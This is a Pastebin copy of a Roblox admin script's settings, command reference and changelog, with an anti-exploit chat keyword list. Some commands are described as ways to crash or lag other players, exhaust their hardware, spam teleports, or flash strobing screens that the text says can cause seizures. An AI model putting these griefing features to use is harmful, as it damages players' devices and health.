Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ---------------------
- local set={} --Main Script Table (Don't Touch)
- ---------------------
- -- IMPORTANT --
- ---------------------
- --[[ATTENTION: IF YOU ARE USING THIS IN A PERSONAL SERVER SET THE PERSONALSERVER
- SETTING TO TRUE!--]]
- set['PersonalServer'] = true -- Set this to true if you are using a personal server.
- set['FilteringEnabled'] = false -- Set to true if FilteringEnabled is set to true (NO GUIS). (If you do not know what that is then do not touch this)
- --[[
- ------------------------------------------------------------------------
- IF THERE ARE NEW SETTINGS YOU WILL NEED TO MANUALLY UPDATE THE SCRIPT TO
- CHANGE THEM, THEY WILL OTHERWISE BE LEFT AS THE DEFAULT.
- ------------------------------------------------------------------------
- Please carefully read each setting's description BEFORE changing something
- as you could break something if you set something the wrong way.
- ------------------------------------------------------------------------
- ~PancakeAttacks~
- --]]
- ---------------------
- -- Tables
- ---------------------
- set['Owners'] = {"Mitko1223tm"} -- Are able to set Admins who can ban/etc... using :pa name
- set['Admins'] = {""} -- Sets Admins who can use ban/kick/admin or shutdown
- set['TempAdmins'] = {} -- Sets Admins who can't use ban/kick/admin or shutdown
- set['BanList'] = {'Test_User123=1235674'} -- Add people to ban here. Format to use UserId is "Name=UserId" EX: "John32=192845", this bans any player named John32 or has an id of 192845 (This way they can't bypass the ban by changing their username) use $group=GROUPID to ban groups.
- set['MuteList'] = {} -- Add the names of people to mute (makes it so they cant talk)
- ----------------------
- -- Basic Settings --
- ----------------------
- set['prefix'] = ":" -- This comes before each admin command (:kill pancake)
- set['anyprefix'] = "!" -- This comes before each player command (commands that can be run by anyone, !rejoin, !ping, etc)
- set['sprefix'] = "" -- Prefix to use with special functions (!admin,!nonadmins,!all,!others,!random) By default this is now set to nothing to avoid confusion.
- set['AutoUpdate'] = true -- Automatically get the newest version? You need to have the model in your inventory on your profile in order for autoupdate to work.
- set['FunCommands'] = true -- Set to false if you only want the basic commands (For Strict Places)
- set['NilScript'] = true -- Nil the script?
- set['NoTalk'] = true -- Enable notalk cmds (Good for group trainings)?
- set['HelpSystem'] = true -- Enable the Help System? (!help command)
- set['ChatLog'] = true -- Log all chats for the server?
- set['MaxNumberOfLogs'] = 1000 -- How many logs to display at a time (MAX is 1500 to avoid server lag/other issues)
- set['JoinMessage'] = false -- Display a message with player info when a player joins, set group id in group settings if you want it to display if a player is in a group or not and if so what rank they are.
- set['DonorStuff'] = false
- set['PermBanKey'] = '0.49971007415998' -- Key (Random String) to use in persistent perm ban (change if you perm banned someone by accident, make it 100% random, if you want a random key generator, put print(math.random()) into the command bar in studio and hit enter, then just copy what it gives you in the output window)
- set['FreeAdmin'] = false -- Set to true if you want everyone to get the set type of admin (not recommended)
- set['FreeAdminType'] = 'TempAdmin' -- Type of admin for FreeAdmin (TempAdmin/Admin/Owner)
- set['AutoClean'] = false -- AutoClean the server? (!clean)
- set['AutoCleanDelay'] = 60 -- How long to wait between AutoCleans (in seconds)
- set['PlayerCommands'] = true -- Sets whether or not nonadmins can use player commands (!rejoin,!ping,!cmds,etc)
- set['OwnersAreTrueOwners'] = true -- This indicates whether or not Owners are considered True Owners, if set to true Owners get the same commands as the place owner (permban and other true owner cmds)
- set['PMUsableByAnyone'] = false -- Set this to true if you want it so anyone can use the PM command
- set['SyncedBanList'] = true -- Don't Touch Breaks Game!!!
- set['SBLSetId'] = 1307282
- set['SBLWait'] = 5
- ---------------------
- -- Anti-Exploit --
- ---------------------
- set['AntiExploit'] = true -- Prevents non-admins from running code/commands via chat, stops a large number of other things including selection changed (finds if a user is using studio)
- set['AntiRobloxLocked'] = true -- Disconnects any player who is or becomes RobloxLocked. (Recommended you keem this enabled, if a player joins RobloxLocked they will not be hooked by the script, this removes them before they break something.)
- set['AntiNewAccount'] = false -- Prevents accounts under the set age from joining.
- set['MinimumAge'] = 100 -- Age a player must be above (in days) if AntiNewAge is enabled.
- set['AntiSpeed'] = false -- Trys to stop speed hackers
- set['AntiGui'] = false -- Prevents non-game/pancake's guis from being spawned on players, such as the account stealing gui.
- set['AntiNil'] = true -- Crashes anyone who goes "nil"
- set['AntiNoclip'] = false -- (USELESS AGAINST CURRENT NOCLIP EXPLOIT however can stop script based noclipping and will update when a usable antiexploit method is found.) Attempts to stop noclipping, not 100% but is better then nothing, can be buggy.
- set['AntiAnimation'] = false -- Prevents animation exploit
- set['AntiExploitWordList'] = {'getitem[^%s]','workspace%.[^%s^%.]','[^%s^%w]ban [%w]','ban[^%s^%w][%w]','crash[^%s^%w][%w]','[^%s^%w]crash [%w]','[^%s^%w]kick [%w]','kick[^%s^%w][%w]','SetCoreGuiEnabled','GetObjects','GetChildren','children()','in pairs(','script%.Parent','game%.Workspace','game:service','GetService','game%.Debris','game%.Lighting','game%.Players','loadstring(','InsertService','LoadAsset','FindFirstChild','while (.*) do','Instance.new'}
- -- Removes a player if any of these are spoken. For more information about string patterns go to http://wiki.roblox.com/index.php?title=String_pattern
- set['AllowedGuiList'] = {} --If there is a gui in your game that is not in startergui
- --then add its name to this table, do note that if the
- --name of the gui is just ScreenGui or something like
- --that, if a hacker inserts a gui with the same name
- --it will not be removed, so make sure you make the name
- --of the gui very specific.
- ---------------------
- -- Group Settings --
- ---------------------
- set['GroupAdmin'] = false -- If a certain group can have admin
- set['GroupOnlyJoin'] = false -- Makes it so ONLY people in the set group can join the game.
- set['GroupId'] = 0 -- Id of group, used for group admin and info/join message, if set will display a user's rank when the info command is used on them.
- set['RankType'] = "Specific" -- Specific/NonSpecific, sets how to check ranks, NonSpecific uses the old kohls method for checking ranks (rank+) Specific checks the SpecificRanks table for if a player has the rank.
- set['SpecificRanks'] = {}-- Add what ranks have admin to this table. EX: set['SpecificRanks'] = {"RANKNAME=Owner/Admin/TempAdmin/Banned","Generals=Admin","Intern Director=TempAdmin"} (NOTE THAT RANK NAMES CONTAINING = ARE NOT SUPPORTED, USE ITS RANK NUMBER INSTEAD!
- set['NonSpecificRank'] = 0 --(Old Kohls Method) Set rank here if RankType="NonSpecific", needs to be rank number NOT NAME, otherwise add ranks to have admin into the SpecificRanks table.
- set['NonSpecificRankType'] = 'TempAdmin'
- ---------------------
- -- VIP Admin --
- ---------------------
- set['VipAdmin'] = false -- If someone can have admin for owning an item
- set['ItemId'] = 0 -- The item they must own in order to have admin
- set['ItemType'] = 'GamePass' -- type of item. (GamePass/Badge)
- set['FriendAdmin'] = false -- Set to true if you want people on your friendlist to have admin
- ---------------------
- -- GUI Settings --
- ---------------------
- set['PrimaryColor'] = Color3.new(0,0,0)
- set['SecondaryColor'] = Color3.new(1,1,1)
- set['TextColor'] = Color3.new(1,1,1)
- set['TextStrokeColor'] = Color3.new(0,0,0)
- set['Transparency'] = 0.5
- ---------------------
- -- Extra --
- ---------------------
- set['MusicList'] = {{Name='SadPiano',Id=130798493}} -- Add music to this table using the format: {Name='ExampleSong',Id=1234567} so that the table would look like local MusicList={{Name='ExampleSong',Id=1234567};{Name='ExampleSong2',Id=1234568}}, if you want to add pitch/volume simply insert Pitch and Volume EX: {Name='ExampleSong2',Id=1234568,Pitch=2,Volume=0.5}
- ---------------------
- -- Tips and Tricks --
- ---------------------
- --[[
- With this admin you can do a command on multiple people at a time;
- :kill me,noob1,noob2,!random,%raiders,$123456,!nonadmins
- -- kills you, noob1, noob2, a random person, team raiders, people in group 123456, and nonadmins.
- You can also run silent commands using /e, for example:
- "/e :kill pancake" Do not that this will still show up in logs.
- You can also use a variety commands for different people;
- !all --everyone in the server
- !others --like !all but not you
- me --you
- %TEAMNAME --Ex: :kill %raiders will kill everyone in team Raiders.
- $GROUPID -- Let you kill anyone in a specific group, if an id is not given it will use the GroupId setting.
- !admins --admins in the server
- !nonadmins --people who are not admins in the server
- !random --a random person, this can include you.
- If you want to add cameras to your game (like saved into your game so you don't need to use the admin script to spawn them every new server)
- then just make a camera, needs to be a single part, so a sphere, brick, what ever it may be, make sure its anchored and locked
- just simply position it where you want in workspace, then make its name Camera: NAMEHERE
- so for example: Camera: Cam1
- the name is very important as the script will look for it in workspace when the game starts.
- make sure you name each camera something diffierent.
- MESSAGES/HINTS FOR OTHER SCRIPTS:
- If you would like to have the hints/messages from this script usable in other SERVER (not local)
- scripts, then simply put the follow at the top of your script,
- message=_G['Message']
- hint=_G['Hint']
- USAGE EXAMPLES:
- hint(msg,playerstable) - message(title,msg,playerstable)
- (Do note that playerstable needs to be a table containing players.
- Use game.Players:children() to send a message ot everyone.)
- hint('Hello people',game.Players:children()) <=== sends "Hello people" to all people in game
- hint('Heyo montano',{game.Players.montano60}) <=== Sends "Heyo montano" to montano60
- message('Server Message','Hello people',game.Players:children())
- message('Message from swagyguy','Heyo montano',{game.Players.montano60})
- --]]
- ---------------------
- -- Commands --
- ---------------------
- --[[
- -- |Temp Admin Commands| --
- 0. clean -- Is a command anyone can use to remove hats/tools/roblox messages/roblox hints lagging up the place
- 1. :puke pancake -- Make a player puke, will make players they puke on also puke
- 2. :cut pancake -- Cut a player :3 (bleed)
- 3. :map -- Puts you above the game and allows you to teleport to areas of the map by clicking (x to stop, e up, q down, normal walking controls)
- 4. :m Hello People -- This commands will let you shout a message to everyone on the server
- 5. :kill pancake -- Kills the player
- 6. :respawn pancake -- Respawns the player
- 7. :trip pancake -- Trips the player
- 8. :stun pancake -- Stuns the player
- 9. :unstun pancake -- Unstuns the player
- 10. :jump pancake -- Makes the player jump
- 11. :sit pancake -- Makes the player sit
- 12. :invisible pancake -- Makes the player invisible
- 13. :visible pancake -- Makes the player visible
- 14. :explode pancake -- Makes the player explode
- 15. :fire pancake -- Sets the player on fire
- 16. :unfire pancake -- Removes fire from the player
- 17. :smoke pancake -- Adds smoke to the player
- 18. :unsmoke pancake -- Removes smoke from the player
- 19. :sparkles pancake -- Adds sparkles to the player
- 20. :unsparkles pancake -- Removes sparkles from the player
- 21. :ff pancake -- Adds a forcefield to the player
- 22. :unff pancake -- Removes the forcefield from the player
- 23. :punish pancake -- Punishes the player
- 24. :unpunish pancake -- Unpunishes the player
- 25. :freeze pancake -- Freezes the player
- 26. :thaw pancake -- Thaws the player
- 27. :heal pancake -- Heals the player
- 28. :god pancake -- Makes the player have infinite health
- 29. :ungod pancake -- Makes the player have 100 health
- 30. :ambient .5 .5 .5 -- Changes the ambient
- 31. :brightness .5 -- Changes the brightness
- 32. :time 12 -- Changes the time
- 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
- 34. :fogend 100 -- Changes the fogend
- 35. :fogstart 100 -- Changes the fogstart
- 36. :removetools pancake -- Removes all tools from the player
- 37. :btools pancake -- Gives the player building tools
- 38. :give pancake sword -- Gives the player a tool
- 39. :damage pancake -- Damages the player
- 40. :grav pancake -- Sets the player's gravity to normal
- 41. :setgrav pancake 100 -- Sets the player's gravity
- 42. :nograv pancake -- Makes the player have 0 gravity
- 43. :health pancake 1337 -- Changes the player's health
- 44. :speed pancake 1337 -- Changes the player's walkspeed
- 45. :name pancake potato -- Changes the player's name
- 46. :unname pancake -- Remove the player's name
- 47. :team pancake Raiders -- Changes the player's team
- 48. :stopmusic -- Will stop all music playing in the server
- 49. :teleport pancake potato -- Teleports the player
- 50. :change pancake kills 1337 -- Changes a player's stat
- 51. :syncedbanlist -- Displays the names of people in the syncedbanlist database
- 52. :infect pancake -- Turns the player into a zombie
- 53. :rainbowify pancake -- Turns the player into a rainbow
- 54. :flashify pancake -- Turns the player into a strobe
- 55. :noobify pancake -- Turns the player into a noob
- 56. :ghostify pancake -- Turns the player into a ghost
- 57. :goldify pancake -- Turns the player into gold
- 58. :shiny pancake -- Makes the player shiny
- 59. :normal pancake -- Puts the player back to normal
- 60. :trippy pancake -- Spams random colors on the player's screen
- 61. :untrippy pancake -- Untrippys the player
- 62. :strobe pancake -- Spams white and black on the player's screen
- 63. :unstrobe pancake -- Unstrobes the player
- 64. :blind pancake -- Blinds the player
- 65. :unblind pancake -- Unblinds the player
- 66. :guifix pancake -- Will fix trippy/strobe/blind on a player
- 67. :fling pancake -- Flings the player
- 68. :seizure pancake -- Puts the player in a seizure
- 69. :music 1337 -- Plays a sound from the ID
- 70. :lock pancake -- Locks the player
- 71. :unlock pancake -- Unlocks the player
- 72. :removelimbs pancake -- Removes the player's limbs
- 73. :jail pancake -- Puts the player in a jail
- 74. :unjail pancake -- Removes the jail from the player
- 75. :fix -- This will fix the lighting to it's original settings
- 76. :fly pancake -- Makes the player fly
- 77. :unfly pancake -- Removes fly from the player
- 78. :flynoclip pancake -- Flying noclip (original pancakes noclip)
- 79. :clip pancake -- Removes noclipping from the player
- 80. :pm pancake Hey bro -- Sends the player a private message
- 81. :dog pancake -- Turns the player into a dog
- 82. :undog pancake -- Turns the player back to normal
- 83. :creeper pancake -- Turns the player into a creeper
- 84. :uncreeper pancake -- Turns the player back to normal
- 85. :place pancake 1337 -- Sends a teleporation request to a player to go to a different place
- 86. :char pancake 261 -- Will make a player look like a different player ID
- 87. :unchar pancake -- Will return the player back to normal
- 88. :h Hello People -- This will shout a hint to everyone
- 89. :rank pancake 109373 -- Will show up a message with the person's Role and Rank in a group
- 90. :starttools pancake -- Will give the player starter tools
- 91. :sword pancake -- Will give the player a sword
- 92. :bighead pancake -- Will make the player's head larger than normal
- 93. :minihead pancake -- Will make the player's head smaller than normal
- 94. :insert 1337 -- Will insert a model at the speaker's position
- 95. :disco -- Will make the server flash random colors
- 96. :flash -- Will make the server flash
- 97. :admins -- Shows the admin list
- 98. :bans -- Shows the banlist
- 99. :musiclist -- Shows the music list
- 100. :spin pancake -- Spins the player
- 101. :cape pancake Really black -- Gives the player a colored cape
- 102. :uncape pancake -- Removes the player's cape
- 103. :loopheal pancake -- Will constantly heal the player
- 104. :loopfling pancake -- Will constantly fling the player
- 105. :hat pancake 1337 -- Will give the player a hat under the id of 1337
- 106. :unloopheal pancake -- Will remove the loopheal on the player
- 107. :unloopfling pancake -- Will remove the loopfling on the player
- 108. :unspin pancake -- Removes spin from the player
- 109. :tools -- Gives a list of the tools in the lighting
- 110. :undisco -- Removes disco effects
- 111. :unflash -- Removes flash effects
- 112. :resetstats pancake -- Sets all the stats of a player to 0
- 113. :gear pancake 1337 -- Gives a player a gear
- 114. :cmdbar -- Gives the speaker a command bar
- 115. :shirt pancake 1337 -- Changes the player's shirt
- 116. :pants pancake 1337 -- Changes the player's pants
- 117. :face pancake 1337 -- Changes the player's face
- 118. :swagify pancake -- Swagifies the player
- 119. :version -- Shows the current version of the admin
- 120. :tm 1337 yolo -- Shows a message for 1337 seconds
- 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
- 122. :clone pancake -- Creates a clone of the player
- 123. :clear -- clears scripts/localscript/cs scripts/jails/etc etc
- 124. :startergive pancake epic -- Gives a player a gear in their starterpack
- 125. :control pancake -- Controls a player
- 126. :stickify pancake -- Turns player into a stick figure
- 127. :delimb pancake -- remove player limbs
- 128. :notalk pancake -- tells a player not to talk, needs to be set to true in setting
- 129. :unnotalk pancake -- undos the notalk stuffz
- 130. :chatlog -- Displays the server chatlog with time
- 131. :info pancake -- Displays info about the player, if groupid is set will display players rank in the group as well.
- 132. :players -- Displays ALL (Yes even the nil ones not on the leaderboard) players thats are currently in the game.
- 133. :epilepsy -- Flashes slightly different messages very rapidly while removing the payers humanoid causing them to not be able to respawn, WARNING: This can cause seizures.
- 134. :sell pancake itemid tix/robux/default -- prompts the target to buy the item and in selected currency, default will be used if the currency type is not set to t,tix,tickets/r,rb,robux
- 135. !donate -- Donate and help further developement :)!
- 136. :talk pancake i like ponies -- Makes a dialong bubble pop up over target with message
- 137. :rocket pancake -- Rockets a player
- 138. :donors -- Shows list of people who donated :3
- 139. :makecam cam2 -- Makes a camera at the admin's head's position with given name
- 140. :cameras -- Shows list of cameras, allows you to reset view and view cameras
- 141. :resetview -- Reset admins camera
- 142. :view pancake -- Views a player
- 143. :drug pancake -- Drugs a player
- 142. :noclip pancake -- Allows player to walk through walls
- 143. :dance pancake -- Makes a player dance for 60 seconds
- 144. :repeat amount interval command -- repeats command for amount times every interval seconds (repeat 10 1 kill pancake)
- 145. !help -- Normal players can use this to get the attention of admins
- 146. :oambient num num num -- Sets outdoor ambient
- 147. :fog start end -- Sets fog, start is FogStart end is FogEnd
- 148. :nofog -- gets rid of fog
- 149. :shadowson -- Turns on global shadows
- 150. :shadowsoff -- Turns off global shadows
- 151. :outlineson -- Turns on outlines
- 152. :outlinesoff -- Turns off outlines
- 153. :capes -- List of capes
- 154. :light pancake -- places a dynamic light on the player, accepts custom colors
- 155. :unlight pancake -- removes light from player
- 156. !getscript -- prompts you to puchase the script (its free)
- 157. !rejoin -- makes you rejoin
- 158. !ping -- shows you your ping to the server
- 159. :chat -- lets you chat via dialog boxes, good for private talks, anything chatted with it will not show up in chatlogs/the games chat.
- 160. :batch cmd1/cmd2/cmd3/etc -- lets you batch run commands. EX: :batch ff pancake/sparkles pancake Bright red/m Potatos (NOTE THIS WILL NOT WORK CORRECTLY IF YOU ISSUE COMMAND CONTAINING /)
- 161. :usage -- Shows how some special functions work and gives some useful information
- 162. !uncape -- uncapes the user (donors only)
- 163. !cape -- Gives user the donor stuff (donors only)
- 164. :adminchat -- Chat for admins
- 165. :refresh pancake -- Respawns the player and sends them back to where they were when the cmd was ran.
- 166. :breakdance pancake -- Makes target player breakdance with lights, fire, sparkles, and smoke, all set to a semi random color :D
- -- |Admin Commands| --
- - :s print("Hello World") -- Lets you script normally
- - :ls print("Hello World") -- Lets you script in localscripts
- - :cs pancake print("yolo") -- Creates a localscript inside of a player
- - :mute pancake -- Removes a player's chat
- - :unmute pancake -- Restores a player's chat
- - :serverlock -- Locks the server
- - :serverunlock -- Unlocks the server
- - :sm Hello World -- Creates a system message
- - :crash pancake -- Crashes a player
- - :admin pancake -- Admins a player
- - :unadmin pancake -- Unadmins a player
- - :kick pancake -- Disconnects a player from the game [WORKS ON NIL PLAYERS]
- - :ban pancake -- Bans a player
- - :unban pancake -- Unbans a player
- - :loopkill pancake -- Will constantly kill the player
- - :unloopkill pancake -- Will remove the loopkill on the player
- - :logs -- Will show all of the commands any admin has used in a game session
- - :shutdown -- Shutsdown the server
- - :lag pancake -- Lags a player
- - :ko pancake -- KOs a player for set number of times......?
- - :nil pancake -- Makes player nil and turns into a probe
- - poff -- Makes nil probe light/chat invisible
- - pon -- Makes nil probe light/chat visible
- - :pitch -- changes pitch of sounds in workspace (music)
- - :mutelist -- lets you see whos muted
- - :freefall pancake height -- teleports a player upward by height
- - :toollag pancake -- Makes a player's FPS drop until they crash, consumes graphics card and ram.
- - :telespam pancake -- send a player to a game that teleports them to the same game in a loop while lagging them, lols.
- - :note pancake lolhi -- makes a note on pancake that says lolhi
- - :removenote pancake lolhi -- removes note lolhi from pancake (does not need to be full note name)
- - :notes pancake -- displays notes about pancake (DATA PERSISTENT)
- -- |Owner Commands| --
- - :pa pancake -- Makes someone a super admin
- - :unpa pancake -- Removes a super admin
- - :nuke pancake -- Creates a nuke on pancake
- - :explore -- Explore the game via a gui
- - :restoremap -- Restores the map to a backup saved at server start (includes scripts and may break stuff)
- -- |True Owner Commands| --
- - :oa pancake -- Makes someone an owner
- - :unoa pancake -- Removes an owner
- - :settings -- Shows settings for the commands
- - :forceplace -- Force teleports people to a place without confirmation.
- - :permban pancaketastrophe -- Perm bans target player from all servers, forever, unless the PermBanKey is changed to something else. Requires FULL NAME AND CONFIRMATION!
- - :%updatepancakes% -- Updates the script for that server (may be buggy)
- --]]
- --------------------------------------------------------------------------------------
- --------------------------------------------------------------------------------------
- ----[ WARNING: Editing anything below could result errors and break the script! ]-----
- ---------------[ DO NOT MODIFY UNLESS YOU KNOW WHAT YOU ARE DOING! ]------------------
- --------------------------------------------------------------------------------------
- --------------------------------------------------------------------------------------
- local ThingsToUpdate={
- 'Owners',
- 'Admins',
- 'TempAdmins',
- 'BanList',
- 'MuteList',
- 'AntiExploitWordList',
- 'AllowedGuiList',
- 'SpecificRanks',
- 'MusicList',
- 'RankType',
- 'NonSpecificRank',
- 'prefix',
- 'FunCommands',
- 'GroupAdmin',
- 'GroupId',
- 'VipAdmin',
- 'FriendAdmin',
- 'ItemType',
- 'ItemId',
- 'SyncedBanList',
- 'NilScript',
- 'NoTalk',
- 'ChatLog',
- 'JoinMessage',
- 'MaxNumberOfLogs',
- 'PermBanKey',
- 'SBLSetId',
- 'SBLWait',
- 'AntiExploit',
- 'DonorStuff',
- 'AntiGui',
- 'AntiAnimation',
- 'AnitNewAccount',
- 'MinimumAge',
- 'GroupOnlyJoin',
- 'PrimaryColor',
- 'SecondaryColor',
- 'TextColor',
- 'TextStrokeColor',
- 'Transparency',
- 'FreeAdmin',
- 'FreeAdminType',
- 'AntiNil',
- 'AntiRobloxLocked',
- 'HelpSystem',
- 'sprefix',
- 'AntiSpeed',
- 'anyprefix',
- 'AntiNoclip',
- 'AutoCleanDelay',
- 'AutoClean',
- 'PersonalServer',
- 'PlayerCommands',
- 'OwnersAreTrueOwners',
- 'PMUsableByAnyone'
- }
- --[ Main Script Function ]--
- set.RunTheScript=function()
- coroutine.wrap(function()
- print('Admin: Starting')
- changelog={
- 'KEY: -Removed +Added *Changed/Fixed !Important';
- '----------------------------------------------';
- '285:';
- '*Bug fixes';
- '---------------------------------';
- '284:';
- '*Bug fixes';
- '---------------------------------';
- '283:';
- '*Bug fixes';
- '---------------------------------';
- '282:';
- '*PM now has a reply. Suggested by kindnesslord';
- '---------------------------------';
- '281:';
- '*Bug fixes';
- '*Max Number of Logs has a MAX of 1500 to avoid problems. (will set itself to 1500 if above 1500)';
- '---------------------------------';
- '280:';
- '*Hint stacking (up to 5 on screen at one time)';
- '*Bug fixes';
- '---------------------------------';
- '279:';
- '+Added the ability to use Messages/Hints from other scripts';
- '!Refer to tips and tricks to learn how to use messages/hints from this in other server scripts';
- '---------------------------------';
- '278:';
- '*Bug fixes';
- '---------------------------------';
- '277:';
- '*/e is filtered by the anti exploit';
- '*Silent commands can be done by using /e :kill pancake for example';
- '---------------------------------';
- '276:';
- '*Bug fixes';
- '---------------------------------';
- '275:';
- '*Bug fixes';
- '---------------------------------';
- '274:';
- '+PMUsableByAnyone setting, suggested by GloriedRage';
- '+Freefall cmd, suggested by GloriedRage';
- '*Bug fixes';
- '---------------------------------';
- '273:';
- '*Updated donor system, anyone who bought the custom cape and change their cape for the game in-game';
- '---------------------------------';
- '272:';
- '+Display error if player does not exist, suggested by GloriedRage';
- '---------------------------------';
- '271:';
- '+OwnersAreTrueOwners setting';
- '---------------------------------';
- '270:';
- '+%updatepan% command for game owners';
- '---------------------------------';
- '269:';
- '*Updated some things with the GetPlayers function';
- '---------------------------------';
- '268:';
- '*Removed flash/disco loadstring dependencies';
- '---------------------------------';
- '267:';
- '*Mutes work like bans';
- '+mutelist command';
- '---------------------------------';
- '266:';
- '*Changed how the scrollingframe gets its size, waits for children to be added first, less lag.';
- '---------------------------------';
- '265:';
- '*Updates to the scrollgui';
- '+New songs';
- '---------------------------------';
- '264:';
- '*ScrollGuis now use ScrollFrames';
- '*Visual bug fixes';
- '---------------------------------';
- '263:';
- '*Bug fixes';
- '---------------------------------';
- '262:';
- '*Sbl list will display what database the banned user is on';
- '---------------------------------';
- '261:';
- '+New songs';
- '---------------------------------';
- '260:';
- '*Speed system updates';
- '*Bug fixes';
- '*Updates to the group admin system (made it simpler to add specific ranks)';
- '---------------------------------';
- '259:';
- '*Bug fixes';
- '---------------------------------';
- '258:';
- '*Bug fixes';
- '+FilteringEnabled setting';
- '*FilteringEnabled support (NO GUIS)';
- '---------------------------------';
- '257:';
- '!Major Updates';
- '*Bug fixes';
- '*Improved update system';
- '*Impoved script performance';
- '*Improved how settings are stored';
- '*Improved security';
- '*Improved client-server/server-client connection';
- '*Client-server/server-client data is more secure';
- '!ALL PLACE OWNERS MUST MANUALLY UPDATE!';
- '!I am currently trying to make it work with FilteringEnabled!';
- '---------------------------------';
- '256:';
- '*Donor System updates';
- '*Bug fixes';
- '---------------------------------';
- '255:';
- '*Changed pinvisible/pvisible to poff/pon';
- '*Updated some stuff with the nil probe/command';
- '---------------------------------';
- '254:';
- '*Bug fixes';
- '+restoremap cmd. Restores stuff in workspace to a backup saved aat server start. WILL CLEAR WORKSPACE!';
- '---------------------------------';
- '253:';
- '*Bug fixes';
- '+Talk command';
- '+Command error reporting (prints the error and shows it to the player running the command)';
- '!For security purposes its recommended all place owners manually update to the newest version!';
- '---------------------------------';
- '252:';
- '*Fixed a typo causing the donor list to not work correctly';
- '---------------------------------';
- '251:';
- '*Updates to the music system';
- '*Can now specify Pitch and Volume in the MusicList table';
- '*Music is no longer case sesitive';
- '*Will tell you if an id is invalid (invalid if not audio or not a real id)';
- '---------------------------------';
- '250:';
- '+PlayerCommands setting';
- '---------------------------------';
- '249:';
- '*Bug fixes';
- '---------------------------------';
- '248:';
- '*Main Script Function settings stored in table, prevents 60 upvalues error (hopefully) and makes things more organized';
- '+MusicList table, users can now add their own songs to the scripts musiclist, refer to the settings section for more information';
- '*Music is now grabbed from a table as per the musiclist update';
- '!I have yet to find a bug with this version but because I made settings go inside a table I expect one or two, so if you find one PLEASE REPORT IT TO ME (montano60)!';
- '---------------------------------';
- '247:';
- '*Update to AntiExploit system, making code running work with LoadstringEnabled set to false';
- '---------------------------------';
- '246:';
- '*Updated donor system to use gamepasses (NBC can now make them)';
- '*New !donate gui';
- '*In-game donating';
- '*donors by default get the Donor Cape, must pay for a custom cape';
- '!None of this will effect current donors!';
- '--------------------------------';
- '245:';
- '*Various bug fixes';
- '*Fixed stuff relating to roblox disabling loadstring by default';
- '*Fixed some weird torso related bugs';
- '*Fixed rainbowify and flashify';
- '*Changelog trimmed for space';
- '--------------------------------';
- '244:';
- '+!quote cmd';
- '+Random quote in the output window';
- '*:help is now !cmds, and added !commands, both do the same as :commands';
- '--------------------------------';
- '243:';
- '-AntiExploit feature from previous problem, believed to be causing strange bugs.';
- '--------------------------------';
- '242:';
- '+New feature of the AntiExploit will attempt to crash players using an unstable exploit on-spawn';
- '--------------------------------';
- '241:';
- '!ATTENTION: BECAUSE ROBLOX IS MEAN THEY DISABLED SERVERSIDE LOADSTRING!';
- '!THIS MEANS NO SERVER RELIANT SCRIPT BASED COMMANDS WILL WORK!';
- '!THIS INCLUDES THE SCRIPTING COMMAND, HOWEVER ONLY FOR SERVER SCRIPTS!';
- '!LOCALSCRIPTS WILL STILL WORK. I WILL WORK TO FIND A WAY TO FIX THIS!';
- "!JUST PLEASE KNOW THIS IS NOT MY FAULT, IT IS ROBLOX'S!";
- '!YOU NEED TO MANUALLY ENABLE LOADSTRINGENABLED IN SERVERSCRIPTSTORAGE!';
- '-------------------------------';
- '240:';
- '*PlayerList is now searchable and refreshable (:players)';
- '!easier to find the iLiLiLLi type names that look like IlIlIllI in the playerlist :)!';
- '-------------------------------';
- '239:';
- '+PersonalServer setting. SET TO TRUE IF USING IN A PERSONAL SERVER!';
- '+AutoClean and AutoCleanDelay settings';
- '-------------------------------';
- '238:';
- '*Bug fixes';
- '*Shows list name in donor list';
- '-------------------------------';
- '237:';
- '+breakdance cmd';
- '-------------------------------';
- '236:';
- '+refresh command, respawns and teleports a player to where they were when the command was ran. :p';
- '-------------------------------';
- '235:';
- '*Admins now spawn with the admin chat';
- '*Admin chat window is now a bit bigger';
- '-------------------------------';
- '234:';
- '*NOCLIP (the command) WORKS AGAIN :D!';
- '-------------------------------';
- '233:';
- '+AntiNoclip (disabled by default) not 100% but better than nothing, can be buggy';
- '*Disabled AntiSpeed by default';
- '-------------------------------';
- '232:';
- '+adminchat cmd, its a chat, for admins :)';
- '-------------------------------';
- '231:';
- '+anyprefix setting for cmds everyone can use';
- '*updates to the autoupdate system';
- '-------------------------------';
- '230:';
- '*Updates to how donor list is grabbed';
- '*donors command is now !donors or !donators and can be used/viewed by anyone';
- '-------------------------------';
- '229:';
- '+AntiSpeed in Anti-Exploit';
- '-------------------------------';
- '228:';
- '*Bug fixes';
- '+!uncape cmd (donors only)';
- '+!cape cmd (donors only)';
- '-------------------------------';
- '227:';
- '+sprefix setting for special functions';
- '-------------------------------';
- '226:';
- '+usage command to show how to use some special functions and give information';
- '-------------------------------';
- '225:';
- '*Things that take the place of player names must have ! infront, EX: :kill !admins,!random,!all,!others,etc etc';
- '-------------------------------';
- '224:';
- '+batch cmd USAGE: :batch cmd1/cmd2/cmd3/etc Ex: :batch kill pancake/sparkles mont/rocket jim';
- '*repeat cmd no longer needs the prefix for the cmd to repeat, now you can just do :repeat AMMOUNT INTERVAL COMMAND instead of :repeat AMMOUNT INTERVAL :COMMAND';
- '-------------------------------';
- '223:';
- '+Ability to run commands on people in a specific group, see below for usage';
- ':kill $GROUPID will kill everyone in the group GROUPID, if no id is given it will use the GroupId setting (:kill $)';
- '-------------------------------';
- '222:';
- '+New songs';
- '-------------------------------';
- '221:';
- '+Refresh buttons in logs';
- '*Bug fixes';
- '*Admin commands will not show up in chatlogs HOWEVER if your prefix is nothing admin chats will show up in logs instead of chatlogs.';
- '-------------------------------';
- '220:';
- '+Chat cmd (good for personal talks)';
- '-------------------------------';
- '219:';
- '*New !help cmd (completely re-done) *HelpSystem';
- '-------------------------------';
- '218:';
- '*Semi fixed noclip (Modded a script from a tool to work until I find a better solution, thanks to whoever made the tool.)';
- '-------------------------------';
- '217:';
- '+AntiNil setting';
- '+AntiRobloxLocked setting';
- '*Changed some AntiExploit related things/Bug fixes';
- '-------------------------------';
- '216:';
- '+!ping cmd';
- '-------------------------------';
- '215:';
- '*Delagged ko cmd a little';
- '*fpslag is now toollag';
- '*Smoke now colorable';
- '*Fixed music loading. Faster loading, less lag, and instant.';
- '------------------------------';
- '214:';
- '*Cmds now searchable';
- '*Cmds now viewable by nonadmin (only can see non-admin cmds)';
